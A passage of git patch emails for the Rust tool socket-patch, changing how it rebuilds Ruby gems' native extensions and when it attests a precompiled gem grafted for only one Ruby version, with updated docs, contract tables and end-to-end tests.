[`BUILD_FAILED_CODE`] -//! and leaves the copy as it was. -//! 5. The record's files are written into the installed copy, and the +//! user's. A build that leaves what Ruby loads in the gem's own tree +//! (an FFI gem's `ext//lib.so`) cannot be moved in from a +//! stage (`in_tree_products`). +//! 6. The record's files are written into the installed copy, and the //! build takes the place of the compiled code Ruby loads. For a gem //! RubyGems built, the staged extension dir replaces the installed one //! (parked while it moves in) and its artifacts replace the `lib/` @@ -66,21 +72,29 @@ //! more than one, is refused with nothing written. The first time, the //! original build (the prebuilt binaries) is copied to a backup inside //! the gem dir ([`BACKUP_DIR`]). -//! 6. A marker ([`MARKER_FILE`]) records the source hashes the build was +//! 7. A marker ([`MARKER_FILE`]) records the source hashes the build was //! made from and the hash of every artifact put in place. //! -//! When the source gem cannot be had, a gem RubyGems built is rebuilt in -//! place, from its own tree (`rebuild`): the patched sources are written, -//! the current build is moved aside, and RubyGems builds into a fresh +//! Nothing of the installed copy is touched before step 6. Whatever stops +//! the run before it (no archive, a stage that cannot be opened, steps 3 +//! to 5) leaves a gem RubyGems built the rebuild it always had: in place, +//! from its own tree (`rebuild`). The patched sources are written, the +//! current build is moved aside, and RubyGems builds into a fresh //! extension dir; a failed build puts the old build and the original -//! sources back. A precompiled gem has no such fallback and is refused, -//! with what it needs: network access to the registry once, or the source -//! gem in the home's `cache/`. +//! sources back, and its error names both failures. (The one exception: +//! another run building the same gem right now.) A precompiled gem has no +//! such fallback and is refused, with what it needs: network access to the +//! registry once, or the source gem in the home's `cache/`. //! //! `vex` and `apply --check` attest a copy only when its marker matches the //! record's patched sources and every recorded artifact still hashes as -//! built ([`verify_native_build`]), whichever way it was built. `rollback` -//! puts the backed-up original build back ([`restore_original_build`]), +//! built ([`verify_native_build`]), whichever way it was built. A +//! precompiled gem ships one binary per Ruby minor, and a graft replaces +//! the one of the Ruby that ran `apply`: such a copy is attested only when +//! no other of them could be loaded from its gem home +//! (`ungrafted_binaries`): the home is laid out for that one Ruby, or each +//! Ruby that the gem ships a binary for has run `apply`. `rollback` puts +//! the backed-up original build back ([`restore_original_build`]), //! prebuilt binaries byte for byte. //! //! # What is executed, and when @@ -96,7 +110,7 @@ //! A real run starts a program only after the record's files verified //! against the installed copy (each holds its `beforeHash` or `afterHash` //! content, or a mismatch the caller's policy overwrites; a build input -//! the copy does not hold is checked in step 3 instead), and then, in this +//! the copy does not hold is checked in step 4 instead), and then, in this //! order: //! //! 1. The host Ruby alone, asked where it builds extensions for the copy's @@ -109,7 +123,8 @@ //! from the registry, verified against its index and installed into the //! stage home (`RubyRun::Install`), which runs that gem's build scripts //! if it has any. -//! 3. With the record laid over the staged gem, RubyGems' extension builder +//! 3. With the unpacked gem proven to be the installed copy's own source +//! and the record laid over it, RubyGems' extension builder //! (`RubyRun::StageBuild`). It runs the archive's own build scripts //! (`extconf.rb`, a Rakefile, `make`, the compiler), as `gem install` //! ran them, and loads the gemspec `unpack` wrote from the archive. The @@ -152,7 +167,11 @@ //! went with its process. The next `apply` or `rollback` of the copy drops //! it (`sweep_stale_stage`). A stage a run in another process still holds //! (a gem home shared between projects) is left alone, and the purl is -//! refused. +//! refused. Where a directory cannot be locked, a stage counts as held +//! until its heartbeat is older than any step of a build lasts. The stage +//! is only ever named through `stage_dirs`, which refuses a link planted +//! where it goes: the gem tree may be the scanned repository's, and nothing +//! in it steers a delete. //! //! While a finished build moves in, and for the whole of an in-place //! build, the previous build is parked beside the extension dir diff --git a/docs/ecosystems.md b/docs/ecosystems.md index 59ebf5f92..a98f7030a 100644 --- a/docs/ecosystems.md +++ b/docs/ecosystems.md @@ -2004,12 +2004,20 @@ How each mode gets the patched code running: where RubyGems and Bundler keep it for a gem they built. For a precompiled gem, or a pruned cache, it downloads the archive from rubygems.org and checks it against the sha256 the registry's index records. Your `Gemfile.lock` never chooses where the archive comes from; a gem it resolves from -another source (a private gem server, a git source) is not downloaded. With no archive to be had -(`--offline` and nothing cached, or a private gem), a gem RubyGems built is rebuilt from its -installed tree instead, and a precompiled gem is refused with `native_extensions_unsupported`: -run `apply` once with network access, or put the source gem in that `cache/` directory. If you -install from a mirror of rubygems.org, set `SOCKET_RUBYGEMS_URL` to it. The JRuby (`-java`) build -of a gem ships jars and is always refused for such a patch. +another source (a private gem server, a git source) is not downloaded. Before anything of the +archive is built, `apply` checks that it is the installed gem's own source: every file the two +share must be identical. With no usable archive (`--offline` and nothing cached, a private gem), +or when the build from it fails, a gem RubyGems built is rebuilt from its installed tree instead, +as in 5.1.0, and a precompiled gem is refused with `native_extensions_unsupported`: run `apply` +once with network access, or put the source gem in that `cache/` directory. If you install from a +mirror of rubygems.org, set `SOCKET_RUBYGEMS_URL` to it. The JRuby (`-java`) build of a gem ships +jars and is always refused for such a patch. + +A gem that builds a library into its own directory and loads it from there (an FFI gem such as +argon2) is always rebuilt from its installed tree. + +Ruby files are never build inputs outside `ext/` and a build script's directory: a patch that only +changes `.rb` or `.rbs` files needs no compiler, wherever the gem keeps them. The build happens in a stage directory inside the gem home (`.socket-patch-build/`), which is removed afterwards. A gem the build needs that the install lacks (a precompiled nokogiri has no @@ -2038,8 +2046,15 @@ without a rebuild, with a `native_extension_not_rebuilt` warning, and `vex` does directory (the install-time build, or a precompiled gem's prebuilt binary), so `rollback` restores it byte for byte without recompiling, and records what it built in `.socket-patch-native-build.json`. `vex` attests the patch only while that record matches the -installed binary: after `gem pristine`, a reinstall, or a switch to another Ruby minor version, -run `apply` again. +installed binary: after `gem pristine` or a reinstall, run `apply` again. + +A precompiled gem ships one binary for each Ruby version it supports, and `apply` rebuilds the one +for the Ruby it runs with. In a gem home that belongs to one Ruby (`vendor/bundle/ruby/3.4.0`, a +Ruby's own gem directory, or any home that holds a compiled gem) that is the only binary ever +loaded, and `vex` attests the patch. A custom `GEM_HOME` with nothing in it that ties it to one +Ruby could be used by several: there `apply` warns that the binaries for the other Ruby versions +are still the prebuilt ones, and `vex` attests the patch only after `apply` has run under each +Ruby version the gem ships a binary for. Interrupting `apply` during a rebuild (Ctrl-C, a cancelled CI job) stops the build with it. A build from the source gem had not touched the installed gem yet, so the gem is as it was; the From 4ad552fd2a5c5a298dec8dcb6f1bd2c49f0e4ee4 Mon Sep 17 00:00:00 2001 From: Mikola Lysenko Date: Mon, 16 Nov 2026 15:14:31 -0500 Subject: [PATCH 12/13] Share the tree walk; let a half-grafted copy be finished without its source gem in reach Co-Authored-By: Claude Fable 5.2 --- .../tests/e2e_gem_native_ext_build.rs | 7 +- crates/socket-patch-core/src/patch/gem_ext.rs | 119 ++++++++---------- 2 files changed, 61 insertions(+), 65 deletions(-) diff --git a/crates/socket-patch-cli/tests/e2e_gem_native_ext_build.rs b/crates/socket-patch-cli/tests/e2e_gem_native_ext_build.rs index 32764668e..a454fb63b 100644 --- a/crates/socket-patch-cli/tests/e2e_gem_native_ext_build.rs +++ b/crates/socket-patch-cli/tests/e2e_gem_native_ext_build.rs @@ -3074,11 +3074,16 @@ fn a_home_of_two_rubies_is_attested_once_both_binaries_are_grafted() { ); assert!(stdout.contains("native_extension_not_rebuilt"), "{stdout}"); assert!(!vex_attests(run), "vex attested a half-grafted copy"); - // Again under 3.4: asked which Ruby it is, then nothing left to build. + // Again under 3.4: asked which Ruby it is, then nothing left to build, + // with or without a source gem within reach. + let cached = home.join("cache/sp_native-1.0.0.gem"); + let parked = proj.join("sp_native-1.0.0.gem.parked"); + std::fs::rename(&cached, &parked).unwrap(); let (code, stdout, stderr) = run(&["apply", "--json", "--offline"]); assert_eq!(code, 0, "{stdout}\n{stderr}"); assert!(stdout.contains("native_extension_not_rebuilt"), "{stdout}"); assert_eq!(ruby.calls(), [&built[..], &["extensions_dir"]].concat()); + std::fs::rename(&parked, &cached).unwrap(); // Ruby 3.3 applies: it grafts its own binary beside the other. ruby.become_ruby_33(); diff --git a/crates/socket-patch-core/src/patch/gem_ext.rs b/crates/socket-patch-core/src/patch/gem_ext.rs index 78e8a1817..17a0df487 100644 --- a/crates/socket-patch-core/src/patch/gem_ext.rs +++ b/crates/socket-patch-core/src/patch/gem_ext.rs @@ -1995,34 +1995,34 @@ pub(crate) async fn install_staged( Ok(staged) } -/// Every regular file under `dir`, relative, `/`-separated, sorted; -/// RubyGems' metadata files at the top level and the stage dirs a build -/// leaves are skipped. -fn artifact_rels(dir: &Path) -> Vec { - let mut out = Vec::new(); - for entry in walkdir::WalkDir::new(dir) +/// Every regular file under `dir`, relative and `/`-separated, sorted. +/// Links are neither followed nor listed. +fn tree_files(dir: &Path) -> Vec { + walkdir::WalkDir::new(dir) .follow_links(false) .sort_by_file_name() .into_iter() .flatten() - { - if !entry.file_type().is_file() { - continue; - } - let Ok(rel) = entry.path().strip_prefix(dir) else { - continue; - }; - let rel = rel - .components() - .map(|c| c.as_os_str().to_string_lossy().into_owned()) - .collect::>() - .join("/"); - if EXT_DIR_METADATA.contains(&rel.as_str()) || rel == MARKER_FILE { - continue; - } - out.push(rel); - } - out + .filter(|entry| entry.file_type().is_file()) + .filter_map(|entry| { + let rel = entry.path().strip_prefix(dir).ok()?; + Some( + rel.components() + .map(|c| c.as_os_str().to_string_lossy().into_owned()) + .collect::>() + .join("/"), + ) + }) + .collect() +} + +/// The artifacts of the extension dir `dir`: its files ([`tree_files`]), +/// RubyGems' metadata files at the top level aside. +fn artifact_rels(dir: &Path) -> Vec { + tree_files(dir) + .into_iter() + .filter(|rel| !EXT_DIR_METADATA.contains(&rel.as_str()) && rel != MARKER_FILE) + .collect() } /// An extension-dir artifact's copy in the gem's require dir, relative to @@ -2727,27 +2727,6 @@ async fn unpack_in_stage( Ok(staged) } -/// Every regular file under `dir`, relative and `/`-separated, sorted. -/// Links are neither followed nor listed. -fn tree_files(dir: &Path) -> Vec { - walkdir::WalkDir::new(dir) - .follow_links(false) - .sort_by_file_name() - .into_iter() - .flatten() - .filter(|entry| entry.file_type().is_file()) - .filter_map(|entry| { - let rel = entry.path().strip_prefix(dir).ok()?; - Some( - rel.components() - .map(|c| c.as_os_str().to_string_lossy().into_owned()) - .collect::>() - .join("/"), - ) - }) - .collect() -} - /// Prove that the gem unpacked at `staged` is the installed copy's own /// source, before anything of it is built: every file the two trees share /// must be byte-identical. `Ok` is the number of files that agreed. @@ -3315,23 +3294,23 @@ struct Graft { target: String, } -/// Every regular file named `leaf` under `dir`, as paths relative to -/// `base`, `/`-separated. Symlinks are not followed. +/// Every regular file named `leaf` under `dir`, a dir inside `base`, as +/// paths relative to `base` ([`tree_files`]). fn files_named(dir: &Path, leaf: &str, base: &Path) -> Vec { - walkdir::WalkDir::new(dir) - .follow_links(false) - .sort_by_file_name() + let Ok(prefix) = dir.strip_prefix(base) else { + return Vec::new(); + }; + let prefix: Vec = prefix + .components() + .map(|c| c.as_os_str().to_string_lossy().into_owned()) + .collect(); + tree_files(dir) .into_iter() - .flatten() - .filter(|entry| entry.file_type().is_file() && entry.file_name() == leaf) - .filter_map(|entry| { - let rel = entry.path().strip_prefix(base).ok()?; - Some( - rel.components() - .map(|c| c.as_os_str().to_string_lossy().into_owned()) - .collect::>() - .join("/"), - ) + .filter(|rel| leaf_of(rel) == leaf) + .map(|rel| { + let mut parts = prefix.clone(); + parts.push(rel); + parts.join("/") }) .collect() } @@ -3977,11 +3956,23 @@ pub async fn apply_gem_package_patch( let precompiled = scope.precompiled.is_some(); let (installed_files, absent) = files_as_installed(©, &scope, files).await; - // Already patched and built from these sources: nothing to do. - let built = { + // Already patched and built from these sources: nothing to do. A + // precompiled copy can also be built for one Ruby and not for another + // that its gem home serves (`grafted`): whether anything is left to + // build then depends on the Ruby that runs, which is asked below. + let (built, grafted) = { let (copy, scope, files) = (copy.clone(), scope.clone(), files.clone()); crate::utils::fs::run_blocking(move || { - read_marker_sync(©.gem_dir).is_some_and(|m| marker_holds(&m, ©, &scope, &files)) + let marker = read_marker_sync(©.gem_dir); + let built = marker + .as_ref() + .is_some_and(|m| marker_holds(m, ©, &scope, &files)); + let grafted = marker.is_some_and(|m| { + m.grafted + && marker_sources_match(&m, &scope, &files) + && marker_artifacts_hold(&m, ©, &scope) + }); + (built, grafted) }) .await }; @@ -4054,7 +4045,7 @@ pub async fn apply_gem_package_patch( copy.spec_path.display() ) }; - if precompiled { + if precompiled && !grafted { let Some(source) = &source else { return needs_source_gem(None, unnamed(), false); }; From c6c9b80cb554b341b961ebd86e68c969d335cf21 Mon Sep 17 00:00:00 2001 From: Mikola Lysenko Date: Mon, 16 Nov 2026 15:52:44 -0500 Subject: [PATCH 13/13] Attest a grafted precompiled gem as soon as its build marker holds A precompiled gem ships one binary per Ruby minor, and a rebuild from the source gem replaces the one of the Ruby that ran `apply`. Until now such a copy was attested only when its gem home was laid out for that one Ruby, or every binary the gem ships had been replaced; otherwise `apply` warned `native_extension_not_rebuilt` and `vex` / `apply --check` withheld the patch. That held a patched gem to more than a normal install: `gem install` builds an extension for the Ruby that runs it and promises nothing to another Ruby pointed at the same gem home. A grafted copy is now attested once its marker holds: the sources hash as recorded and every replaced binary still hashes as built. The binaries shipped for other Rubies are not held against it, and the warning about them is gone. Kept: `apply` under a Ruby whose binary is not in the marker builds for that Ruby and replaces its binary too, in the same marker and backup, and rollback restores every one. `apply` under a Ruby already built for does nothing. Telling the two apart takes one question to the host Ruby; none is started when every shipped binary is replaced, when the gem home is laid out for a Ruby already built for, or on a dry run. Removed: `ungrafted_binaries`, `ungrafted_after`, `other_rubies_warning` and the gate in `marker_holds`. `built_state` now says from files what is left for `apply` to do. `home_minor` and `prebuilt_siblings` remain only to decide whether that question is needed. Co-Authored-By: Claude Fable 5.2 --- crates/socket-patch-cli/CLI_CONTRACT.md | 25 +- .../tests/e2e_gem_native_ext_build.rs | 72 ++- crates/socket-patch-core/src/patch/gem_ext.rs | 414 +++++++++--------- docs/ecosystems.md | 10 +- 4 files changed, 269 insertions(+), 252 deletions(-) diff --git a/crates/socket-patch-cli/CLI_CONTRACT.md b/crates/socket-patch-cli/CLI_CONTRACT.md index 7e80850e5..caff7960f 100644 --- a/crates/socket-patch-cli/CLI_CONTRACT.md +++ b/crates/socket-patch-cli/CLI_CONTRACT.md @@ -1070,8 +1070,8 @@ a file the copy does not hold is not written: the record fails on it as on any m |---|---|---| | `native_extensions_unsupported` | refused, exit 1 | The record changes build inputs that cannot be rebuilt here: the copy is not a RubyGems install with a `specifications/` entry (a Bundler git checkout); the gem neither declares extensions nor is a platform gem; it is the JRuby (`java`) build; no Ruby that owns the install was found; a precompiled gem cannot be built from its source gem (the archive is neither in the home's `cache/` nor downloadable, is not the copy's own source, the record does not apply to it, a gem its build needs could not be staged, its build leaves a library in the gem's own tree, or the build has no counterpart among the gem's prebuilt binaries); a record changes an input a build removed and the source gem cannot be built. Nothing is written. Also: another run is rebuilding the same gem right now, or an interrupted rebuild could not be undone (the error says which). | | `native_extension_build_failed` | refused, exit 1 | The extension did not build from the patched sources (no compiler or Ruby headers, a build error), or the finished build could not be moved into place. The installed copy is as it was before the run; the error carries the build output's tail (of the build from the source gem and of the in-place one, when both ran). | -| `native_extension_rebuilt` | warning | The sources were already patched (by a release before #1996, or with `--no-gem-native-rebuild`) and the extension was rebuilt from them. Under `--dry-run`: the rebuild a real `apply` would run; no Ruby is started and nothing is downloaded to check that it can. | -| `native_extension_not_rebuilt` | warning | `--no-gem-native-rebuild`: the sources were written without a rebuild; Ruby loads the old build until the caller compiles it. Or: a precompiled gem's binary was rebuilt for the Ruby that ran `apply`, and the gem ships prebuilt binaries for other Ruby versions in a gem home that is not laid out for one Ruby (the warning names them); `vex` does not attest the patch until `apply` has run under each. | +| `native_extension_rebuilt` | warning | The sources were already patched (by a release before #1996, with `--no-gem-native-rebuild`, or by `apply` under another Ruby version of a precompiled gem) and the extension was rebuilt from them. Under `--dry-run`: the rebuild a real `apply` would run; no Ruby is started and nothing is downloaded to check that it can. | +| `native_extension_not_rebuilt` | warning | `--no-gem-native-rebuild`: the sources were written without a rebuild; Ruby loads the old build until the caller compiles it. | | `native_extension_restore_failed` | rollback: that copy fails | The sources were restored, but the original compiled extension could not be put back. Run `gem pristine --extensions` (a precompiled gem: `gem pristine `). | `vex` and `apply --check` attest such a copy only while its marker matches the record's patched @@ -1080,16 +1080,17 @@ purl fails with `native_extension_not_rebuilt`. After `gem pristine` or a reinst again. A precompiled gem ships one binary per Ruby minor, and a rebuild replaces the one of the Ruby that -ran `apply`. Such a copy is attested only when no other of those binaries could be loaded from its -gem home: the home is laid out for that one Ruby, or every one of them has been replaced. A home -is laid out for one Ruby when the ABI in its directory name (`vendor/bundle/ruby/3.4.0`, -`/lib/ruby/gems/3.4.0`, `~/.gem/ruby/3.4.0`) and the ABI of every -`extensions///` directory in it agree on one `major.minor`. A home that shows no -ABI (a custom `GEM_HOME` holding no compiled gem) or more than one can be used by any Ruby: -`apply` then warns `native_extension_not_rebuilt` with the binaries still prebuilt, `apply` under -another Ruby replaces that Ruby's binary and keeps the others', and the copy is attested once all -are replaced. Hosted copies are judged on their files alone, since RubyGems compiled them from the -patched gem. +ran `apply`, as `gem install` builds an extension for the Ruby that runs it. That is the whole +rule: the copy is attested as soon as its marker holds, whichever gem home it is in and whatever +binaries the gem ships for other Rubies, which are left as they are. `apply` under a Ruby version +whose binary has not been replaced yet builds for that Ruby and replaces its binary too, keeping +the others', in the same marker and backup; `rollback` restores every one. `apply` under a Ruby +whose binary is already the build does nothing. To tell the two apart, `apply` asks the host Ruby +what it is; it starts none when every binary the gem ships has been replaced, or when the gem +home is laid out for a Ruby whose binary is the build (the ABI in its directory name, +`vendor/bundle/ruby/3.4.0`, and of every `extensions///` directory in it agree on +that `major.minor`). Hosted copies are judged on their files alone, since RubyGems compiled them +from the patched gem. ### sbt / Mill / scala-cli caches in agent mode diff --git a/crates/socket-patch-cli/tests/e2e_gem_native_ext_build.rs b/crates/socket-patch-cli/tests/e2e_gem_native_ext_build.rs index a454fb63b..b981ecb6c 100644 --- a/crates/socket-patch-cli/tests/e2e_gem_native_ext_build.rs +++ b/crates/socket-patch-cli/tests/e2e_gem_native_ext_build.rs @@ -3022,14 +3022,15 @@ fn a_gem_that_loads_its_library_from_its_own_tree_is_rebuilt_in_place() { } /// A precompiled gem ships one binary per Ruby minor, and a graft replaces -/// the one of the Ruby that ran `apply`. In a gem home that two Rubies -/// build into, the other Ruby would go on loading the unpatched binary: -/// the copy is not attested, `apply` says which binary is left, and under -/// that Ruby it grafts that one too. Then, and only then, `apply --check` -/// and `vex` attest it. Rollback gives both binaries back. +/// the one of the Ruby that ran `apply`, as `gem install` builds for the +/// Ruby that runs it. The copy is attested from that first graft on, in a +/// gem home two Rubies build into too. `apply` under the other Ruby grafts +/// its binary beside the first; `apply` under a Ruby already grafted builds +/// nothing. A grafted binary that is no longer the built one fails the +/// check, and rollback gives both binaries back. #[cfg(unix)] #[test] -fn a_home_of_two_rubies_is_attested_once_both_binaries_are_grafted() { +fn a_home_of_two_rubies_is_attested_from_the_first_graft() { let (_tmp, proj, gem_dir) = fake_precompiled_gem(true); // A second Ruby built a gem into this home. let home = proj.join("vendor/bundle/ruby/3.4.0"); @@ -3052,7 +3053,7 @@ fn a_home_of_two_rubies_is_attested_once_both_binaries_are_grafted() { let run = |args: &[&str]| ruby.run(&proj, args, &[]); let built = ["extensions_dir", "unpack", "missing_deps", "stage_build"]; - // Ruby 3.4 applies: its binary is the build, 3.3's is not. + // Ruby 3.4 applies: its binary is the build, and the copy is attested. let (code, stdout, stderr) = run(&["apply", "--json", "--offline"]); assert_eq!(code, 0, "apply failed:\n{stdout}\n{stderr}"); assert_eq!(event_action(&stdout), "applied", "{stdout}"); @@ -3063,17 +3064,21 @@ fn a_home_of_two_rubies_is_attested_once_both_binaries_are_grafted() { ); assert_eq!(std::fs::read_to_string(&for_33).unwrap(), prebuilt("3.3")); assert!( - stdout.contains("native_extension_not_rebuilt") - && stdout.contains("lib/sp_native/3.3/sp_native.so"), - "apply must say which binary is still unpatched: {stdout}" + !stdout.contains("native_extension_not_rebuilt"), + "a graft for the Ruby that ran apply is the whole install: {stdout}" ); - let (code, stdout, _) = run(&["apply", "--check", "--json"]); - assert_ne!( - code, 0, - "attested while Ruby 3.3 loads the old code: {stdout}" + let (code, stdout, stderr) = run(&["apply", "--check", "--json"]); + assert_eq!(code, 0, "the first graft checks clean:\n{stdout}\n{stderr}"); + assert!(!stdout.contains("native_extension_not_rebuilt"), "{stdout}"); + assert!(vex_attests(run), "vex attests from the first graft"); + let (code, stdout, stderr) = run(&["apply", "--json", "--dry-run", "--offline"]); + assert_eq!(code, 0, "{stdout}\n{stderr}"); + assert!( + !stdout.contains("native_extension_rebuilt"), + "a dry run of a built copy promises no rebuild: {stdout}" ); - assert!(stdout.contains("native_extension_not_rebuilt"), "{stdout}"); - assert!(!vex_attests(run), "vex attested a half-grafted copy"); + assert_eq!(ruby.calls(), built, "a check, vex or dry run ran Ruby"); + // Again under 3.4: asked which Ruby it is, then nothing left to build, // with or without a source gem within reach. let cached = home.join("cache/sp_native-1.0.0.gem"); @@ -3081,8 +3086,14 @@ fn a_home_of_two_rubies_is_attested_once_both_binaries_are_grafted() { std::fs::rename(&cached, &parked).unwrap(); let (code, stdout, stderr) = run(&["apply", "--json", "--offline"]); assert_eq!(code, 0, "{stdout}\n{stderr}"); - assert!(stdout.contains("native_extension_not_rebuilt"), "{stdout}"); - assert_eq!(ruby.calls(), [&built[..], &["extensions_dir"]].concat()); + assert_eq!(event_action(&stdout), "skipped", "{stdout}"); + assert!(!stdout.contains("native_extension_not_rebuilt"), "{stdout}"); + let asked = [&built[..], &["extensions_dir"]].concat(); + assert_eq!(ruby.calls(), asked); + assert_eq!( + std::fs::read_to_string(&for_34).unwrap(), + built_from(&c_source(2)) + ); std::fs::rename(&parked, &cached).unwrap(); // Ruby 3.3 applies: it grafts its own binary beside the other. @@ -3090,6 +3101,12 @@ fn a_home_of_two_rubies_is_attested_once_both_binaries_are_grafted() { let (code, stdout, stderr) = run(&["apply", "--json", "--offline"]); assert_eq!(code, 0, "apply under 3.3 failed:\n{stdout}\n{stderr}"); assert!(!stdout.contains("native_extension_not_rebuilt"), "{stdout}"); + assert!( + stdout.contains("native_extension_rebuilt"), + "a rebuild of sources already patched says so: {stdout}" + ); + let both = [&asked[..], &built[..]].concat(); + assert_eq!(ruby.calls(), both); assert_eq!( std::fs::read_to_string(&for_33).unwrap(), format!("{} (by Ruby 3.3)", built_from(&c_source(2))) @@ -3101,7 +3118,24 @@ fn a_home_of_two_rubies_is_attested_once_both_binaries_are_grafted() { ); let (code, stdout, stderr) = run(&["apply", "--check"]); assert_eq!(code, 0, "{stdout}\n{stderr}"); - assert!(vex_attests(run), "vex attests once every binary is grafted"); + assert!(vex_attests(run), "vex attests both grafts"); + // Every binary the gem ships is grafted: no Ruby is left to ask. + let (code, stdout, stderr) = run(&["apply", "--json", "--offline"]); + assert_eq!(code, 0, "{stdout}\n{stderr}"); + assert_eq!(event_action(&stdout), "skipped", "{stdout}"); + assert_eq!(ruby.calls(), both, "nothing more to run"); + + // A grafted binary that is no longer the built one (the gem was + // reinstalled over it): neither `apply --check` nor `vex` attests. + let grafted = std::fs::read_to_string(&for_33).unwrap(); + std::fs::write(&for_33, prebuilt("3.3")).unwrap(); + let (code, stdout, _) = run(&["apply", "--check", "--json"]); + assert_ne!(code, 0, "{stdout}"); + assert!(stdout.contains("native_extension_not_rebuilt"), "{stdout}"); + assert!(!vex_attests(run), "vex attested a prebuilt binary"); + std::fs::write(&for_33, grafted).unwrap(); + let (code, stdout, stderr) = run(&["apply", "--check"]); + assert_eq!(code, 0, "{stdout}\n{stderr}"); let (code, stdout, stderr) = run(&["rollback", "--json", "--offline"]); assert_eq!(code, 0, "rollback failed:\n{stdout}\n{stderr}"); diff --git a/crates/socket-patch-core/src/patch/gem_ext.rs b/crates/socket-patch-core/src/patch/gem_ext.rs index 17a0df487..c2327a774 100644 --- a/crates/socket-patch-core/src/patch/gem_ext.rs +++ b/crates/socket-patch-core/src/patch/gem_ext.rs @@ -90,12 +90,13 @@ //! record's patched sources and every recorded artifact still hashes as //! built ([`verify_native_build`]), whichever way it was built. A //! precompiled gem ships one binary per Ruby minor, and a graft replaces -//! the one of the Ruby that ran `apply`: such a copy is attested only when -//! no other of them could be loaded from its gem home -//! (`ungrafted_binaries`): the home is laid out for that one Ruby, or each -//! Ruby that the gem ships a binary for has run `apply`. `rollback` puts -//! the backed-up original build back ([`restore_original_build`]), -//! prebuilt binaries byte for byte. +//! the one of the Ruby that ran `apply`, as `gem install` builds for the +//! Ruby that runs it: the copy is attested from then on, and the binaries +//! the gem ships for other Rubies are not held against it. `apply` under +//! another Ruby of the same gem home grafts that Ruby's binary into the +//! same marker and backup (`built_state`). `rollback` puts the backed-up +//! original build back ([`restore_original_build`]), prebuilt binaries +//! byte for byte. //! //! # What is executed, and when //! @@ -207,8 +208,9 @@ pub const UNSUPPORTED_CODE: &str = "native_extensions_unsupported"; /// The extension failed to build from the patched sources; the installed /// copy is as it was before the run. pub const BUILD_FAILED_CODE: &str = "native_extension_build_failed"; -/// Advisory: sources an earlier run patched were rebuilt into the extension -/// (a release before #1996 patched them without a rebuild). +/// Advisory: sources that were already patched were rebuilt into the +/// extension (a release before #1996 patched them without a rebuild; a +/// precompiled gem's were built for another Ruby of its gem home). pub const REBUILT_CODE: &str = "native_extension_rebuilt"; /// `rollback` restored the sources but could not put the original compiled /// extension back. @@ -1024,73 +1026,78 @@ fn prebuilt_siblings(gem_dir: &Path, target: &str) -> Vec { out } -/// The prebuilt binaries a Ruby could still load unpatched from the -/// grafted copy `marker` describes: empty when the graft reaches every one. +/// Whether `marker` was built from exactly the record's patched native +/// inputs, and every artifact it recorded is still on disk with the bytes +/// it was built with. /// -/// A graft replaces the binary of the Ruby that built it, and a precompiled -/// gem ships one per Ruby minor. Which of them a gem home's Ruby loads is -/// only known when the home is laid out for one Ruby ([`home_minor`]): -/// then that Ruby's binary is the one that must be grafted, and the others -/// are never loaded. A home that is tied to no Ruby (a custom `GEM_HOME` -/// with no compiled gem in it) can be used by any: every prebuilt binary -/// must be grafted before nothing unpatched can be loaded from it. -fn ungrafted_binaries(marker: &BuildMarker, copy: &GemCopy) -> Vec { - let tied = home_minor(copy); - let mut out: Vec = Vec::new(); - for target in marker.lib_artifacts.keys() { - let Some((base, minor, leaf)) = minor_layout(target) else { - continue; - }; - let needed = match &tied { - Some(tied) if tied == minor => Vec::new(), - Some(tied) => vec![[base, tied.as_str(), leaf].join("/")], - None => prebuilt_siblings(©.gem_dir, target), - }; - for binary in needed { - if !marker.lib_artifacts.contains_key(&binary) && !out.contains(&binary) { - out.push(binary); - } - } - } - out.sort(); - out -} - -/// For a precompiled copy whose binary for the Ruby `minor` is already the -/// build of this record (its marker lists these sources, every binary it -/// lists is still the built one, and one of them is that Ruby's): the -/// prebuilt binaries the graft does not reach ([`ungrafted_binaries`]). -/// `None` when that Ruby's binary is still to be built. -fn ungrafted_after( +/// That is all a grafted copy is held to as well. `gem install` builds an +/// extension for the Ruby that runs it and promises nothing to another +/// Ruby pointed at the same gem home; a graft is the same build, of the +/// same sources, for the Ruby that ran `apply`. The binaries a precompiled +/// gem ships for other Rubies are not this build's to answer for. +fn marker_holds( + marker: &BuildMarker, copy: &GemCopy, scope: &NativeScope, files: &HashMap, - minor: &str, -) -> Option> { - let marker = read_marker_sync(©.gem_dir)?; - let built_for_it = marker.grafted - && marker_sources_match(&marker, scope, files) - && marker_artifacts_hold(&marker, copy, scope) - && marker - .lib_artifacts - .keys() - .any(|target| minor_layout(target).is_some_and(|(_, m, _)| m == minor)); - built_for_it.then(|| ungrafted_binaries(&marker, copy)) +) -> bool { + marker_sources_match(marker, scope, files) && marker_artifacts_hold(marker, copy, scope) } -/// Whether `marker` was built from exactly the record's patched native -/// inputs, every artifact it recorded is still on disk with the bytes it -/// was built with, and, for a grafted copy, no prebuilt binary a Ruby -/// could load from its gem home is left unpatched. -fn marker_holds( - marker: &BuildMarker, +/// What a copy's build marker says is left for `apply` to do for a record, +/// as far as files tell. +#[derive(Debug, Clone, PartialEq, Eq)] +enum Built { + /// No marker that holds: the extension is still to be built. + No, + /// The marker holds, and no other Ruby could be the one asking. + Yes, + /// The marker holds, for the Rubies whose `major.minor` it lists, and + /// the gem ships a prebuilt binary for another Ruby, which may be the + /// one running `apply` now: its binary is then grafted too. Only the + /// Ruby itself can say. + ForRubies(Vec), +} + +/// The [`Built`] state of `copy` for a record. +/// +/// A precompiled gem ships one binary per Ruby minor, and a graft replaces +/// the one of the Ruby that ran `apply`. Another Ruby can only be asking +/// when the gem ships a binary the marker does not list +/// ([`prebuilt_siblings`]) and the gem home is not laid out for one Ruby +/// whose binary is already grafted ([`home_minor`]: the Ruby that owns +/// such a home is the only one [`find_ruby`] accepts for it). +fn built_state( copy: &GemCopy, scope: &NativeScope, files: &HashMap, -) -> bool { - marker_sources_match(marker, scope, files) - && marker_artifacts_hold(marker, copy, scope) - && (!marker.grafted || ungrafted_binaries(marker, copy).is_empty()) +) -> Built { + let Some(marker) = + read_marker_sync(©.gem_dir).filter(|m| marker_holds(m, copy, scope, files)) + else { + return Built::No; + }; + if !marker.grafted { + return Built::Yes; + } + let mut grafted: Vec = marker + .lib_artifacts + .keys() + .filter_map(|target| minor_layout(target).map(|(_, minor, _)| minor.to_string())) + .collect(); + grafted.sort(); + grafted.dedup(); + let ships_another = marker.lib_artifacts.keys().any(|target| { + prebuilt_siblings(©.gem_dir, target) + .iter() + .any(|sibling| !marker.lib_artifacts.contains_key(sibling)) + }); + let its_own_ruby_done = home_minor(copy).is_some_and(|tied| grafted.contains(&tied)); + if ships_another && !its_own_ruby_done { + Built::ForRubies(grafted) + } else { + Built::Yes + } } /// `vex` / `apply 